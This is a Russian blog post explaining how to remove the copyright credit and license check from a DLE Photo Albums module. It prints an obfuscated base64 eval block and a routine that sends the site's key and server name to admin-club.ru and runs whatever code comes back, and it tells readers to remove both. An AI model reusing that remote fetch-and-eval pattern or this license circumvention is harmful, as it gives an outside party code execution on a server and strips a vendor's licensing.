Убираем копирайты с модуля DLE Фотоальбомы (версия Титан для DLE 9.2 - 10.x)

Автор
Опубликовано: 1402 дня назад (10 февраля 2014)
Блог: Media blog
Рубрика: Php, HTML, CSS и веб
Редактировалось: 1 раз — 9 февраля 2014
0
Голосов: 0

""


В данном посте я вам расскажу как убрать копирайт "Модуль DLE от Клуба жадных админов", а также мы уберем "стучалку", которая по идеи проверяет наличие копирайта и лицензии на модуль (возможно, она выполняет еще какие-нибудь функции, что не может не настораживать).

Начнем. Первым делом убираем копирайт. Для этого открываем файл enginephotophoto_nucleus unctionsdefault.php и ищем в нем код
Код PHP:
  1. function mergies( $a ) {
  2. global $tpl, $PHOTO_CONF;
  3. $d='b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
  4. eval($d('JGEgPSBhcnJheSgNCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViL'.
  5. 'nJ1Ij7M7uTz6+ggRExFPC9hPiDu8iDK6/Ph4CDA5Ozo7e7iJywgDQogICAgJyZjb3B5OyA8YSBocmV'.
  6. 'mPSJodHRwOi8vYWRtaW4tY2x1Yi5ydSI+Q01TIPHo8fLl7Ps8L2E+IO7yIMrr8+HgIMDk7Ojt7uInLC'.
  7. 'ANCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViLnJ1Ij5D6PHy5ezgIPPv8ODi6'.
  8. '+Xt6P8g8eDp8u7sPC9hPicsIA0KICAgICcmY29weTsgPGEgaHJlZj0iaHR0cDovL2FkbWluLWNsdWIu'.
  9. 'cnUiPsTi6Obu6iDk6/8g8eDp8uA8L2E+Jw0KKTsNCmlmKHByZWdfbWF0Y2goIi9bYS1nXS8iLCAkX1'.
  10. 'NFUlZFUlsnSFRUUF9IT1NUJ11bMF0pKSB7DQogICAgJGIgPSAwOw0KfWVsc2VpZihwcmVnX21hdGN'.
  11. 'oKCIvW2otcl0vIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddWzBdKSkgew0KICAgICRiID0gMTsNCn1l'.
  12. 'bHNlaWYocHJlZ19tYXRjaCgiL1tzLXpdLyIsICRfU0VSVkVSWydIVFRQX0hPU1QnXVswXSkpIHsNCi'.
  13. 'AgICAkYiA9IDI7DQp9ZWxzZXsNCiAgICAkYiA9IDM7DQp9DQokdHBsLT5yZXN1bHRbJ2NvbnRlbnQn'.
  14. 'XSAuPSAnPHAgYWxpZ249ImNlbnRlciI+Jy4kYVskYl0uJzwvcD4nOw=='));
  15. }
У меня данный код находится на 750 строке.

Вот эта часть кода:
Код PHP:
  1. JGEgPSBhcnJheSgNCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViL'.
  2. 'nJ1Ij7M7uTz6+ggRExFPC9hPiDu8iDK6/Ph4CDA5Ozo7e7iJywgDQogICAgJyZjb3B5OyA8YSBocmV'.
  3. 'mPSJodHRwOi8vYWRtaW4tY2x1Yi5ydSI+Q01TIPHo8fLl7Ps8L2E+IO7yIMrr8+HgIMDk7Ojt7uInLC'.
  4. 'ANCiAgICAnJmNvcHk7IDxhIGhyZWY9Imh0dHA6Ly9hZG1pbi1jbHViLnJ1Ij5D6PHy5ezgIPPv8ODi6'.
  5. '+Xt6P8g8eDp8u7sPC9hPicsIA0KICAgICcmY29weTsgPGEgaHJlZj0iaHR0cDovL2FkbWluLWNsdWIu'.
  6. 'cnUiPsTi6Obu6iDk6/8g8eDp8uA8L2E+Jw0KKTsNCmlmKHByZWdfbWF0Y2goIi9bYS1nXS8iLCAkX1'.
  7. 'NFUlZFUlsnSFRUUF9IT1NUJ11bMF0pKSB7DQogICAgJGIgPSAwOw0KfWVsc2VpZihwcmVnX21hdGN'.
  8. 'oKCIvW2otcl0vIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddWzBdKSkgew0KICAgICRiID0gMTsNCn1l'.
  9. 'bHNlaWYocHJlZ19tYXRjaCgiL1tzLXpdLyIsICRfU0VSVkVSWydIVFRQX0hPU1QnXVswXSkpIHsNCi'.
  10. 'AgICAkYiA9IDI7DQp9ZWxzZXsNCiAgICAkYiA9IDM7DQp9DQokdHBsLT5yZXN1bHRbJ2NvbnRlbnQn'.
  11. 'XSAuPSAnPHAgYWxpZ249ImNlbnRlciI+Jy4kYVskYl0uJzwvcD4nOw==
является зашифрованным копирайтом, поэтому заменим ее, например, на unlicense.

В конечном результате данный фрагмент кода обретет вид:
Код PHP:
  1. function mergies( $a ) {
  2. global $tpl, $PHOTO_CONF;
  3. $d='b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
  4. eval($d('unlicense'));
  5. }
Сохраняем и закрываем файл default.php.

Теперь мы уберем "стучалку", дабы админы так называемого Клуба админов, не могли сливать данные с нашего сайта.

Открываем файл engineincphotoIn.php и удаляем фрагмент кода:
Код PHP:
  1. if( !defined( 'DATALIFEENGINE' ) ){
  2. echo '[Datalife Engine PhotoAlbums] You tried to gain unauthorized access to the module, or system DataLife Engine is not licensed.';
  3. exit();
  4. }
  5.  
  6. $k = isset($_POST['key'])?trim( $_POST['key'] ):'';
  7.  
  8. if( strlen( $k ) ){
  9. $r = @file_get_contents( 'http://admin-club.ru/dlephotocenter/run.php?v=9&key=' . $k . '&d=' . base64_encode( $_SERVER['SERVER_NAME'] ) );
  10.  
  11. if( $r ) @eval( $r );
  12. else $conect_ = $PHOTO_LAN[ 'warning_75' ];
  13. }
  14.  
  15. $ke = $core->get( 'key' );
  16.  
  17. $ke = $ke[0];
  18.  
  19. if( !$ke ) $form = '<form name="" action="" method="post">';
  20. else{
  21. $dis = 'display:none';
  22. $st = '<tr><td style="padding:3px;width:130px;text-align:right;">Статус:&nbsp;</td><td style="color:green">активированы</td></tr>';
  23. }
Закрываем и сохраняем файл.

Все, надеюсь вам помогла данная статья.
Комментарии (0)

Нет комментариев. Ваш будет первым!